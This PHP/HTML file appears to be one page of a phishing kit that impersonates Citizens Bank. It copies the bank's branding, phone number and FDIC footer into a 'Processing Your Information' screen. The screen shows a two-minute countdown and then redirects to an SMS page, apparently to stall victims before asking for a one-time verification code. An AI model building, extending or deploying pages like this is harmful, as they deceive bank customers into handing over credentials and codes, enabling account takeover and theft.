<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;600&family=Source+Sans+3:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Citizens Bank — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --green:        #1a5336;
            --green-deep:   #123a26;
            --green-light:  #eaf2ed;
            --orange:       #d53e05;
            --text:         #2a2a2a;
            --text-sub:     #444;
            --text-muted:   #6b6b6b;
            --border:       #c8d8cc;
            --white:        #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: #fff; color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto 1fr auto; }

        .top-nav { background: var(--green); border-bottom: 4px solid var(--green-deep); padding: 0 48px; display: flex; align-items: center; justify-content: space-between; height: 64px; z-index: 10; }
        .nav-logo { display: flex; align-items: center; gap: 14px; }
        .nav-logo img { height: 34px; width: auto; background: #fff; padding: 4px 8px; border-radius: 3px; }
        .nav-logo-divider { width: 1px; height: 22px; background: rgba(255,255,255,0.25); }
        .nav-logo-label { font-family: 'Source Serif 4', serif; font-size: 15px; font-weight: 300; color: rgba(255,255,255,0.9); letter-spacing: 0.04em; }
        .nav-links { display: flex; align-items: center; gap: 28px; }
        .nav-links a { font-size: 13px; color: rgba(255,255,255,0.85); text-decoration: none; font-weight: 400; transition: color 0.15s; }
        .nav-links a:hover { color: #fff; }
        .nav-phone { font-size: 13px; color: rgba(255,255,255,0.8); display: flex; align-items: center; gap: 6px; }

        .main { display: grid; grid-template-columns: 1fr 460px 1fr; align-items: start; padding: 48px 24px 64px; background: #fff; }

        .side-panel { grid-column: 1; padding: 0 48px 0 max(48px, calc((100% - 1100px) / 2)); padding-top: 24px; max-width: 480px; margin-left: auto; }
        .side-title { font-family: 'Source Serif 4', serif; font-size: 28px; font-weight: 300; line-height: 1.35; color: var(--green); margin-bottom: 24px; }
        .side-title strong { font-weight: 600; display: block; }
        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 16px; margin-bottom: 36px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 12px; font-size: 14px; color: var(--text-sub); line-height: 1.6; }
        .feature-icon { width: 20px; height: 20px; background: var(--green-light); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; }
        .feature-icon svg { color: var(--green); }
        .security-badge { display: flex; align-items: center; gap: 10px; padding: 14px 16px; background: #fff; border: 1px solid var(--border); border-left: 3px solid var(--orange); border-radius: 4px; }
        .security-badge p { font-size: 12px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 2px; }

        .login-wrap { grid-column: 2; }
        .login-card { background: #fff; border: 1px solid var(--border); border-top: 4px solid var(--green); border-radius: 2px; padding: 40px 44px 44px; box-shadow: 0 2px 12px rgba(26,83,54,0.07), 0 8px 32px rgba(0,0,0,0.04); animation: cardIn 0.4s ease both; text-align: center; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 32px; }
        .card-logo img { height: 60px; width: auto; display: block; margin: 0 auto; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 32px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--green-light); color: var(--green); }
        .step.active { background: var(--green); color: #fff; }
        .step.pending{ background: #eef5ee; color: #90b090; }
        .step-line      { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--green); opacity: 0.3; }

        .ring-wrap { position: relative; width: 116px; height: 116px; margin: 0 auto 28px; }
        .ring-wrap svg { width: 116px; height: 116px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: var(--border); stroke-width: 5; }
        .ring-progress { fill: none; stroke: var(--orange); stroke-width: 5; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-family: 'Source Serif 4', serif; font-size: 26px; font-weight: 400; color: var(--text); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 4px; }

        .wait-heading h1 { font-family: 'Source Serif 4', serif; font-size: 20px; font-weight: 600; color: var(--green); margin-bottom: 8px; }
        .wait-heading p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; line-height: 1.7; max-width: 300px; margin: 0 auto; }

        .prog-dots { display: flex; justify-content: center; gap: 6px; margin: 22px 0; }
        .prog-dots span { width: 7px; height: 7px; border-radius: 50%; background: var(--border); transition: background 0.4s; }
        .prog-dots span.lit { background: var(--orange); }

        .info-notice { display: inline-flex; align-items: center; gap: 8px; background: var(--green-light); border: 1px solid rgba(26,83,54,0.18); border-radius: 3px; padding: 10px 16px; font-size: 12.5px; color: var(--green); font-weight: 400; }

        .page-footer { background: var(--green); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }
        .fdic-badge span { font-size: 10px; font-weight: 700; letter-spacing: 0.12em; color: rgba(255,255,255,0.5); border: 1px solid rgba(255,255,255,0.25); padding: 2px 6px; border-radius: 2px; }

        @media (max-width: 900px) { .main { grid-template-columns: 1fr; padding: 32px 20px 48px; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; } .top-nav { padding: 0 24px; } .nav-links { display: none; } }
        @media (max-width: 500px) { .login-card { padding: 28px 24px 32px; } }
    </style>
</head>
<body>
<div class="page">
    <nav class="top-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Citizens Bank"><div class="nav-logo-divider"></div><span class="nav-logo-label">Online Banking</span></div>
        <div class="nav-links"><a href="#">Personal</a><a href="#">Business</a><a href="#">Wealth</a><a href="#">Mortgage</a><a href="#">Auto</a></div>
        <div class="nav-phone"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07A19.5 19.5 0 013.07 9.81a19.79 19.79 0 01-3.07-8.67A2 2 0 012.18 0h3a2 2 0 012 1.72c.127.96.361 1.903.7 2.81a2 2 0 01-.45 2.11L6.91 7.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0122 14.92z"/></svg>1-855-242-2287</div>
    </nav>
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">Almost there.<br><strong>Just a moment.</strong></h2>
            <ul class="feature-list">
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Verifying your identity with bank-grade security</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Encrypting your session with 256-bit SSL</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Preparing your secure verification code</li>
            </ul>
            <div class="security-badge">
                <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#d53e05" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><polyline points="9 12 11 14 15 10" stroke-width="2"/></svg>
                <p><strong>Secure Processing</strong>Do not close or refresh this page while we process your request.</p>
            </div>
        </aside>
        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Citizens Bank"></div>
                <div class="step-indicator">
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step active">3</div>
                </div>
                <div class="ring-wrap">
                    <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
                    <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
                </div>
                <div class="wait-heading">
                    <h1>Processing Your Information</h1>
                    <p>Please wait up to 2 minutes while we securely process your request.</p>
                </div>
                <div class="prog-dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
                <div class="info-notice"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
            </div>
        </div>
    </main>
    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
        <div class="fdic-badge"><span>FDIC</span><span style="border:none;font-weight:300;font-size:11px;letter-spacing:0;color:rgba(255,255,255,0.35);margin-left:6px;">Member FDIC. Equal Housing Lender.</span></div>
        <div class="footer-copy">© 2025 Citizens Financial Group, Inc. All rights reserved.</div>
    </footer>
</div>
<script>
    var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
    const TOTAL = 120; let rem = TOTAL;
    const disp = document.getElementById('td'), ring = document.getElementById('rp');
    const CIRC = 2 * Math.PI * 52;
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        dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
        if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
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    tick(); const t = setInterval(tick, 1000);
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</body>
</html>